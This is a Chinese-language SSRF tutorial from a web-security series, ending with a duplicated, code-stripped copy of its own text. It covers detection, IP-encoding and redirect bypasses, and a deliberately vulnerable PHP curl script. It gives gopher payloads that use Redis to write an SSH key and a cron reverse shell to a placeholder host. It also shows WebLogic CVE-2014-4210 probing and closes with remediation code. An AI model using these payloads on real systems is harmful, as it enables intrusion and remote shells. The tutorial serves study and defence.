[红日安全]Web安全Day4 - SSRF实战攻防
字数 1522 2025-08-18 11:39:19

SSRF漏洞实战攻防完全指南

1. SSRF漏洞概述

1.1 漏洞定义

SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种利用漏洞伪造服务器端发起请求的攻击方式。攻击者通过控制服务器发起的请求,可以攻击从外网无法访问的内部系统。

1.2 漏洞原理

通过控制功能中的发起请求的服务作为跳板攻击内网中其他服务。例如,通过修改前台请求的远程地址参数,将请求目标从外部域名改为本地或内网IP地址及服务。

1.3 漏洞危害

  • 扫描内网开放服务
  • 向内部任意主机的任意端口发送payload攻击内网服务
  • 发起DOS攻击(通过请求大文件或保持长连接)
  • 攻击内网Web应用(如SQL注入、XSS等)
  • 利用file、gopher、dict等协议读取本地文件或执行命令

2. SSRF检测与绕过技术

2.1 漏洞检测方法

典型检测场景:某网站有在线加载远程图片功能,URL如:

http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg

可尝试修改为:

http://www.xxx.com/image.php?image=http://127.0.0.1:22

观察是否返回端口banner信息。

2.2 常见漏洞出现点

  1. 分享功能:通过URL参数分享文章
  2. 图片加载与下载:通过URL地址加载或下载图片
  3. 收藏功能:通过参数保存文章或图片地址
  4. 参数关键字:share、wap、url、link、src、source、target、u3g、display、sourceURI、imageURL、domain等

2.3 绕过技术

2.3.1 基本身份认证绕过

http://www.xxx.com@www.xxc.com

不同解析函数对@的处理存在差异。

2.3.2 绕过内网IP限制

  • 使用短网址服务(如百度短地址)
  • 使用xip.io域名(如127.0.0.1.xip.io)
  • 进制转换:
    • 八进制:0177.0.0.1
    • 十六进制:0x7f.0.0.1
    • 十进制:2130706433

2.3.3 绕过协议限制

使用302跳转服务(如百度短地址或tinyurl.com)

3. SSRF测试方法

3.1 测试环境搭建

创建PHP服务端脚本:

<?PHP
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch); 
curl_close($ch); 
?>

3.2 测试过程

  1. 使用nc监听端口模拟内网服务:
    nc -lvnp 2233
    
  2. 测试SSRF:
    http://localhost/ssrf.php?url=http://127.0.0.1:2233
    
  3. 使用gopher协议测试:
    http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_test
    
  4. 发送POST请求:
    http://localhost/ssrf.php?url=gopher://127.0.0.1:2233/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
    

4. 实战演示:SSRF+Redis攻击

4.1 环境准备

使用Rootme CTF的SSRF Box环境

4.2 攻击步骤

  1. 探测内网开放端口,发现6379(Redis)端口开放
  2. 利用SSRF攻击Redis未授权访问

方法一:写入SSH密钥

  1. 生成SSH密钥对
  2. 使用gopher协议将公钥写入Redis:
    gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    
  3. 通过SSH私钥登录服务器

方法二:写入定时任务反弹shell

  1. 准备监听端口:
    nc -lvnp 2233
    
  2. 发送payload:
    gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/x.x.x.x/2233 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
    

5. WebLogic SSRF漏洞(CVE-2014-4210)

5.1 漏洞介绍

WebLogic的uddiexplorer.war组件存在SSRF漏洞,影响版本包括10.0.2.0和10.3.6.0。

5.2 测试方法

  1. 访问漏洞页面:
    /uddiexplorer/SearchPublicRegistries.jsp
    
  2. 探测端口:
    /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
    
    返回404表示端口开放,返回其他错误表示端口关闭。

5.3 修复方案

  1. 删除server/lib/uddiexplorer.war下的相应jsp文件
  2. 安装官方补丁

6. SSRF漏洞修复方案

6.1 通用修复方案

  1. 限制返回信息,统一错误响应
  2. 设置请求地址白名单
  3. 禁用危险协议(file://, gopher://, dict://等)
  4. 限制请求端口为常用服务端口(80, 443等)

6.2 Java代码修复示例

public static Boolean UrlSecCheck(String url, String[] urlwhitelist) {
    try {
        URL u = new URL(url);
        // 只允许http和https协议
        if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
            return false;
        }
        // 获取域名并转为小写
        String host = u.getHost().toLowerCase();
        // 获取一级域名
        String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
        
        for (String whiteurl: urlwhitelist){
            if (rootDomain.equals(whiteurl)) {
                return true;
            }
        }
        return false;
    } catch (Exception e) {
        return false;
    }
}

7. 总结

SSRF是一种危害严重的漏洞,攻击者可以利用它绕过网络边界防护,直接攻击内网系统。防御SSRF需要从多个层面进行防护,包括输入验证、协议限制、端口限制等。开发人员应充分了解SSRF的攻击手法,在代码中实施严格的防护措施。

SSRF漏洞实战攻防完全指南 1. SSRF漏洞概述 1.1 漏洞定义 SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种利用漏洞伪造服务器端发起请求的攻击方式。攻击者通过控制服务器发起的请求,可以攻击从外网无法访问的内部系统。 1.2 漏洞原理 通过控制功能中的发起请求的服务作为跳板攻击内网中其他服务。例如,通过修改前台请求的远程地址参数,将请求目标从外部域名改为本地或内网IP地址及服务。 1.3 漏洞危害 扫描内网开放服务 向内部任意主机的任意端口发送payload攻击内网服务 发起DOS攻击(通过请求大文件或保持长连接) 攻击内网Web应用(如SQL注入、XSS等) 利用file、gopher、dict等协议读取本地文件或执行命令 2. SSRF检测与绕过技术 2.1 漏洞检测方法 典型检测场景:某网站有在线加载远程图片功能,URL如: 可尝试修改为: 观察是否返回端口banner信息。 2.2 常见漏洞出现点 分享功能 :通过URL参数分享文章 图片加载与下载 :通过URL地址加载或下载图片 收藏功能 :通过参数保存文章或图片地址 参数关键字 :share、wap、url、link、src、source、target、u3g、display、sourceURI、imageURL、domain等 2.3 绕过技术 2.3.1 基本身份认证绕过 不同解析函数对@的处理存在差异。 2.3.2 绕过内网IP限制 使用短网址服务(如百度短地址) 使用xip.io域名(如127.0.0.1.xip.io) 进制转换: 八进制:0177.0.0.1 十六进制:0x7f.0.0.1 十进制:2130706433 2.3.3 绕过协议限制 使用302跳转服务(如百度短地址或tinyurl.com) 3. SSRF测试方法 3.1 测试环境搭建 创建PHP服务端脚本: 3.2 测试过程 使用nc监听端口模拟内网服务: 测试SSRF: 使用gopher协议测试: 发送POST请求: 4. 实战演示:SSRF+Redis攻击 4.1 环境准备 使用Rootme CTF的SSRF Box环境 4.2 攻击步骤 探测内网开放端口,发现6379(Redis)端口开放 利用SSRF攻击Redis未授权访问 方法一:写入SSH密钥 生成SSH密钥对 使用gopher协议将公钥写入Redis: 通过SSH私钥登录服务器 方法二:写入定时任务反弹shell 准备监听端口: 发送payload: 5. WebLogic SSRF漏洞(CVE-2014-4210) 5.1 漏洞介绍 WebLogic的uddiexplorer.war组件存在SSRF漏洞,影响版本包括10.0.2.0和10.3.6.0。 5.2 测试方法 访问漏洞页面: 探测端口: 返回404表示端口开放,返回其他错误表示端口关闭。 5.3 修复方案 删除server/lib/uddiexplorer.war下的相应jsp文件 安装官方补丁 6. SSRF漏洞修复方案 6.1 通用修复方案 限制返回信息,统一错误响应 设置请求地址白名单 禁用危险协议(file://, gopher://, dict://等) 限制请求端口为常用服务端口(80, 443等) 6.2 Java代码修复示例 7. 总结 SSRF是一种危害严重的漏洞,攻击者可以利用它绕过网络边界防护,直接攻击内网系统。防御SSRF需要从多个层面进行防护,包括输入验证、协议限制、端口限制等。开发人员应充分了解SSRF的攻击手法,在代码中实施严格的防护措施。